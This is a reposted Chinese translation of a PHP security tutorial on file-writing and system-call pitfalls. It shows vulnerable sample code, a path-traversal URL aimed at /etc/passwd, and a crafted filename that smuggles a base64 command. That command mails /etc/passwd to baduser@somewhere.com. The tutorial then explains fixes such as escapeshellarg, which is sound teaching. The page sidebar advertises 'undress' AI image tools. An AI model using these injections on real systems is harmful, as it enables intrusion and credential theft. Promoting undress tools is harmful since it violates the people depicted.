Table des matières
Quote saved!
Error writing quote

PHP安全及相关_PHP

Jun 01, 2016 pm 12:39 PM
安全 文件 用户 相关

关注安全问题的重要性
看到的远非全部

阻止用户恶意破坏你的程式最有效却经常被忽略的方法是在写代码时就考虑它的可能性。留意代码中可能的安全问题是很重要的。考虑下边的旨在简化用PHP中写入大量文本文件的过程的实例函数:


function write_text($filename, $text="") {
static $open_files = array();
// 如果文件名空,关闭全部文件
if ($filename == NULL) {
foreach($open_files as $fr) {
fclose($fr);
}
return true;
}
$index = md5($filename);
if(!isset($open_files[$index])) {
$open_files[$index] = fopen($filename, "a+");
if(!$open_files[$index]) return false;
}
fputs($open_files[$index], $text);
return true;
}
?>

这个函数带有两个缺省参数,文件名和要写入文件的文本。
函数将先检查文件是否已被打开;如果是,将使用原来的文件句柄。否则,将自行创建。在这两种情况中,文本都会被写入文件。
如果传递给函数的文件名是NULL,那么所有打开的文件将被关闭。下边提供了一个使用上的实例。
如果开发者以下边的格式来写入多个文本文件,那么这个函数将清楚和易读的多。
让我们假定这个函数存在于一个单独的文件中,这个文件包含了调用这个函数的代码。
下边是一个这样的程式,我们叫它quotes.php:



Choose the nature of the quote:


The quote:



include_once('write_text.php');
$filename = "/home/web/quotes/{$_GET['quote']}";
$quote_msg = $_GET['quote_text'];
if (write_text($filename, $quote_msg)) {
echo "

Quote saved!

";
} else {
echo "

Error writing quote

";
}
write_text(NULL);
?>

如同你看到的,这位开发者使用了write_text()函数来创建一个体系使得用户可以提交他们喜欢的格言,这些格言将被存放在一个文本文件中。
不幸的是,开发者可能没有想到,这个程式也允许了恶意用户危害web server的安全。
也许现在你正挠着头想着究竟这个看起来很无辜的程式怎样引入了安全风险。
如果你看不出来,考虑下边这个URL,记住这个程式叫做quotes.php:

http://www.somewhere.com/fun/quotes.php?quote=different_file.dat"e_text=garbage+data

当这个URL传递给web server 时将会发生什么?

显然,quotes.php将被执行,但是,不是将一句格言写入到我们希望的三个文件中之一,相反的,一个叫做different_file.dat的新文件将被建立,其中包含一个字符串garbage data。

显然,这不是我们希望的行为,恶意用户可能通过把quote指定为../../../etc/passwd来访问UNIX密码文件从而创建一个帐号(尽管这需要web server以superuser运行程式,如果是这样的,你应该停止阅读,马上去修复它)。

如果/home/web/quotes/可以通过浏览器访问,可能这个程式最严重的安全问题是它允许任何用户写入和运行任意PHP程式。这将带来无穷的麻烦。

这里有一些解决方案。如果你只需要写入目录下的一些文件,可以考虑使用一个相关的数组来存放文件名。如果用户输入的文件存在于这个数组中,就可以安全的写入。另一个想法是去掉所有的不是数字和字母的字符来确保没有目录分割符号。还有一个办法是检查文件的扩展名来保证文件不会被web server执行。

原则很简单,作为一个开发者你必须比程式在你希望的情况下运行时考虑更多。

如果非法数据进入到一个form元素中会发生什么?恶意用户是否能使你的程式以不希望的方式运行?什么方法能阻止这些攻击?你的web server和PHP程式只有在最弱的安全链接下才安全,所以确认这些可能不安全的链接是否安全很重要。

常见的涉及安全的错误

这里给出一些要点,一个可能危及安全的编码上的和管理上的失误的简要不完整列表


错误1。信赖数据
这是贯穿于我关于PHP程式安全的讨论的主题,你决不能相信一个来自外部的数据。不管它来自用户提交表单,文件系统的文件或者环境变量,任何数据都不能简单的想当然的采用。所以用户输入必须进行验证并将之格式化以保证安全。

错误2。在web目录中存储敏感数据
任何和所有的敏感数据都应该存放在独立于需要使用数据的程式的文件中,并保存在一个不能通过浏览器访问的目录下。当需要使用敏感数据时,再通过include 或 require语句来包含到适当的PHP程式中。

错误3。不使用推荐的安全防范措施
PHP手册包含了在使用和编写PHP程式时关于安全防范的完整章节。手册也(几乎)基于案例清楚的说明了什么时候存在潜在安全风险和怎么将风险降低到最低。又如,恶意用户依靠开发者和管理员的失误得到关心的安全信息以获取系统的权限。留意这些警告并适当的采取措施来减小恶意用户给你的系统带来真正的破坏的可能性。


在PHP中执行系统调用
在PHP中有很多方法可以执行系统调用。

比如,system(), exec(), passthru(), popen()和 反单引号(`)操作符都允许你在程式中执行系统调用。如果不适当的使用上边这些函数将会为恶意用户在你的服务器上执行系统命令打开大门。像在访问文件时,绝大多数情况下,安全漏洞发生在由于不可靠的外部输入导致的系统命令执行。

使用系统调用的一个例子程式
考虑一个处理http文件上传的程式,它使用zip程序来压缩文件,然后把它移动到指定的目录(默认为/usr/local/archives/)。代码如下:


$zip = "/usr/bin/zip";
$store_path = "/usr/local/archives/";

if (isset($_FILES['file'])) {
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);

if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;

if (file_exists($cmp_name)) {
$savepath = $store_path.$filename;
rename($cmp_name, $savepath);
}
}
}
?>



File to compress:



虽然这段程式看起来相当简单易懂,但是恶意用户却可以通过一些方法来利用它。最严重的安全问题存在于我们执行了压缩命令(通过`操作符),在下边的行中可以清楚的看到这点:

if (isset($_FILES['file'])) {
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";

$filename = basename($cmp_name);

if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
...
欺骗程式执行任意shell命令
虽然这段代码看起来相当安全,它却有使任何有文件上传权限的用户执行任意shell命令的潜在危险!

准确的说,这个安全漏洞来自对$cmp_name变量的赋值。在这里,我们希望压缩后的文件使用从客户机上传时的文件名(带有 .zip扩展名)。我们用到了$_FILES['file']['name'](它包含了上传文件在客户机时的文件名)。

在这样的情况下,恶意用户完全可以通过上传一个含对底层操作系统有特殊意义字符的文件来达到自己的目的。举个例子,如果用户按照下边的形式创建一个空文件会怎么样?(UNIX shell提示符下)

[user@localhost]# touch ";php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);';"
这个命令将创建一个名字如下的文件:

;php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);';
看起来很奇怪?让我们来看看这个“文件名”,我们发现它很像使CLI版本的PHP执行如下代码的命令:
$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);
?>
如果你出于好奇而显示$code变量的内容,就会发现它包含了mail baduser@somewhere.com
/usr/bin/zip /tmp/;php -r
'$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);';.zip /tmp/phpY4iatI
让人吃惊的,上边的命令不是一个语句而是3个!由于UNIX shell 把分号(;)解释为一个shell命令的结束和另一命令的开始,除了分号在在引号中时,PHP的system()实际上将如下执行:

[user@localhost]# /usr/bin/zip /tmp/
[user@localhost]# php -r
'$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);'
[user@localhost]# .zip /tmp/phpY4iatI
如你所见,这个看起来无害的PHP程式突然变成执行任意shell命令和其他PHP程式的后门。虽然这个例子只会在路径下有CLI版本的PHP的系统上有效,但是用这种技术可以通过其他的方法来达到同样的效果。

对抗系统调用攻击
这里的关键仍然是,来自用户的输入,不管内容如何,都不应该相信!问题仍然是如何在使用系统调用时(除了根本不使用它们)避免类似的情况出现。为了对抗这种类型的攻击,PHP提供了两个函数,escapeshellarg() 和 escapeshellcmd()。

escapeshellarg()函数是为了从用作系统命令的参数的用户输入(在我们的例子中,是zip命令)中移出含有潜在危险的字符而设计的。这个函数的语法如下:

escapeshellarg($string)
$string所在处是用于过滤的输入,返回值是过滤后的字符。执行时,这个函数将在字符两边添加单引号,并转义原来字符串中的单引号(在其前边加上)。在我们的例程中,如果我们在执行系统命令之前加上这些行:

$cmp_name = escapeshellarg($cmp_name);
$tmp_name = escapeshellarg($tmp_name);
我们就能通过确保传递给系统调用的参数已经处理,是一个没有其他意图的用户输入,以规避这样的安全风险。

escapeshellcmd()和escapeshellarg()类似,只是它只转义对底层操作系统有特殊意义的字符。和escapeshellarg()不同,escapeshellcmd()不会处理内容中的空白格。举个实例,当使用escapeshellcmd()转义时,字符

$string = "'hello, world!';evilcommand"
将变为:

'hello, world';evilcommand
如果这个字符串用作系统调用的参数它将仍然不能得到正确的结果,因为shell将会把它分别解释为两个分离的参数: 'hello 和 world';evilcommand。如果用户输入用于系统调用的参数列表部分,escapeshellarg()是一个更好的选择。


保护上传的文件
在整篇文章中,我一直只着重讲系统调用如何被恶意用户劫持以产生我们不希望结果。
但是,这里还有另外一个潜在的安全风险值得提到。再看到我们的例程,把你的注意力集中在下边的行上:

$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";

$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
上边片断中的代码行导致的一个潜在安全风险是,最后一行我们判断上传的文件是否实际存在(以临时文件名$tmp_name存在)。

这个安全风险并不来自于PHP自身,而在于保存在$tmp_name中的文件名实际上根本不是一个文件,而是指向恶意用户希望访问的文件,比如,/etc/passwd。

为了防止这样的情况发生,PHP提供了is_uploaded_file()函数,它和file_exists()一样,但是它还提供文件是否真的从客户机上上传的检查。

在绝大多数情况下,你将需要移动上传的文件,PHP提供了move_uploaded_file()函数,来配合is_uploaded_file()。这个函数和rename()一样用于移动文件,只是它会在执行前自动检查以确保被移动的文件是上传的文件。move_uploaded_file()的语法如下:

move_uploaded_file($filename, $destination);
在执行时,函数将移动上传文件$filename到目的地$destination并返回一个布尔值来标志操作是否成功。

注: John Coggeshall 是一位PHP顾问和作者。从他开始为PHP不眠已经5年左右了。
英文原文:http://www.onlamp.com/pub/a/php/2003/08/28/php_foundations.html
Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn

Outils d'IA chauds

Undresser.AI Undress

Undresser.AI Undress

Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover

AI Clothes Remover

Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool

Undress AI Tool

Images de déshabillage gratuites

Clothoff.io

Clothoff.io

Dissolvant de vêtements AI

AI Hentai Generator

AI Hentai Generator

Générez AI Hentai gratuitement.

Article chaud

R.E.P.O. Crystals d'énergie expliqués et ce qu'ils font (cristal jaune)
2 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Meilleurs paramètres graphiques
2 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌

Outils chauds

Bloc-notes++7.3.1

Bloc-notes++7.3.1

Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Comment la conception de l'architecture de sécurité du framework Java doit-elle être équilibrée avec les besoins de l'entreprise ? Comment la conception de l'architecture de sécurité du framework Java doit-elle être équilibrée avec les besoins de l'entreprise ? Jun 04, 2024 pm 02:53 PM

La conception du framework Java assure la sécurité en équilibrant les besoins de sécurité avec les besoins de l'entreprise : en identifiant les principaux besoins de l'entreprise et en hiérarchisant les exigences de sécurité pertinentes. Développez des stratégies de sécurité flexibles, répondez aux menaces par niveaux et effectuez des ajustements réguliers. Tenez compte de la flexibilité architecturale, prenez en charge l’évolution de l’entreprise et des fonctions de sécurité abstraites. Donnez la priorité à l’efficacité et à la disponibilité, optimisez les mesures de sécurité et améliorez la visibilité.

Les nouveaux défis mondiaux de l'IA : qu'est-il arrivé à la sécurité et à la confidentialité ? Les nouveaux défis mondiaux de l'IA : qu'est-il arrivé à la sécurité et à la confidentialité ? Mar 31, 2024 pm 06:46 PM

Le développement rapide de l’IA générative a créé des défis sans précédent en matière de confidentialité et de sécurité, déclenchant des appels urgents à une intervention réglementaire. La semaine dernière, j'ai eu l'occasion de discuter des impacts de l'IA sur la sécurité avec certains membres du Congrès et leur personnel à Washington, D.C. L’IA générative d’aujourd’hui me rappelle l’Internet de la fin des années 1980, avec ses recherches fondamentales, son potentiel latent et ses utilisations académiques, mais elle n’est pas encore prête à être accessible au public. Cette fois, l’ambition sans entrave des fournisseurs, alimentée par le capital-risque des ligues mineures et inspirée par les chambres d’écho de Twitter, fait rapidement progresser le « meilleur des mondes » de l’IA. Le modèle de base « public » est défectueux et inadapté à une utilisation grand public et commerciale ; les abstractions de confidentialité, si elles sont présentes, fuient comme un tamis, les structures de sécurité sont importantes en raison de la surface d'attaque ;

Analyse complète de l'opération de renommage des fichiers de langue Go Analyse complète de l'opération de renommage des fichiers de langue Go Apr 08, 2024 pm 03:30 PM

La fonction os.Rename est utilisée dans le langage Go pour renommer des fichiers. La syntaxe est : funcRename(oldpath,newpathstring)error. Cette fonction renomme le fichier spécifié par oldpath en fichier spécifié par newpath. Les exemples incluent le simple changement de nom, le déplacement de fichiers vers différents répertoires et l'ignorance de la gestion des erreurs. La fonction Renommer effectue une opération atomique et ne peut mettre à jour les entrées de répertoire que lorsque les deux fichiers se trouvent dans le même répertoire. Les renommages peuvent échouer sur plusieurs volumes ou lorsqu'un fichier est en cours d'utilisation.

Comment implémenter les meilleures pratiques de sécurité PHP Comment implémenter les meilleures pratiques de sécurité PHP May 05, 2024 am 10:51 AM

Comment mettre en œuvre les meilleures pratiques de sécurité PHP PHP est l'un des langages de programmation Web backend les plus populaires utilisés pour créer des sites Web dynamiques et interactifs. Cependant, le code PHP peut être vulnérable à diverses failles de sécurité. La mise en œuvre des meilleures pratiques de sécurité est essentielle pour protéger vos applications Web contre ces menaces. Validation des entrées La validation des entrées est une première étape essentielle pour valider les entrées utilisateur et empêcher les entrées malveillantes telles que l'injection SQL. PHP fournit une variété de fonctions de validation d'entrée, telles que filter_var() et preg_match(). Exemple : $username=filter_var($_POST['username'],FILTER_SANIT

Configuration de la sécurité et renforcement du framework Struts 2 Configuration de la sécurité et renforcement du framework Struts 2 May 31, 2024 pm 10:53 PM

Pour protéger votre application Struts2, vous pouvez utiliser les configurations de sécurité suivantes : Désactiver les fonctionnalités inutilisées Activer la vérification du type de contenu Valider l'entrée Activer les jetons de sécurité Empêcher les attaques CSRF Utiliser RBAC pour restreindre l'accès basé sur les rôles

Implémentation d'algorithmes d'apprentissage automatique en C++ : considérations de sécurité et bonnes pratiques Implémentation d'algorithmes d'apprentissage automatique en C++ : considérations de sécurité et bonnes pratiques Jun 01, 2024 am 09:26 AM

Lors de la mise en œuvre d'algorithmes d'apprentissage automatique en C++, les considérations de sécurité sont essentielles, notamment la confidentialité des données, la falsification du modèle et la validation des entrées. Les meilleures pratiques incluent l'adoption de bibliothèques sécurisées, la réduction des autorisations, l'utilisation de bacs à sable et une surveillance continue. Le cas pratique démontre l'utilisation de la bibliothèque Botan pour chiffrer et déchiffrer le modèle CNN afin de garantir une formation et une prédiction sûres.

Microframework PHP : discussion sur la sécurité de Slim et Phalcon Microframework PHP : discussion sur la sécurité de Slim et Phalcon Jun 04, 2024 am 09:28 AM

Dans la comparaison de sécurité entre Slim et Phalcon dans les micro-frameworks PHP, Phalcon dispose de fonctionnalités de sécurité intégrées telles que la protection CSRF et XSS, la validation de formulaire, etc., tandis que Slim manque de fonctionnalités de sécurité prêtes à l'emploi et nécessite une implémentation manuelle. de mesures de sécurité. Pour les applications critiques en matière de sécurité, Phalcon offre une protection plus complète et constitue le meilleur choix.

Quel portefeuille est le plus sûr pour les pièces SHIB ? (À lire pour les débutants) Quel portefeuille est le plus sûr pour les pièces SHIB ? (À lire pour les débutants) Jun 05, 2024 pm 01:30 PM

La pièce SHIB n'est plus étrangère aux investisseurs. Il s'agit d'un jeton conceptuel du même type que le Dogecoin. Avec le développement du marché, la valeur marchande actuelle de SHIB s'est classée au 12e rang. .les investisseurs participent aux investissements. Dans le passé, il y a eu de fréquents transactions et incidents de sécurité des portefeuilles sur le marché. De nombreux investisseurs se sont inquiétés du problème de stockage de SHIB. Ils se demandent quel portefeuille est le plus sûr pour stocker les pièces SHIB à l'heure actuelle. Selon l'analyse des données du marché, les portefeuilles relativement sûrs sont principalement les portefeuilles OKXWeb3Wallet, imToken et MetaMask, qui seront relativement sûrs. Ensuite, l'éditeur en parlera en détail. Quel portefeuille est le plus sûr pour les pièces SHIB ? Actuellement, les pièces SHIB sont placées sur OKXWe

See all articles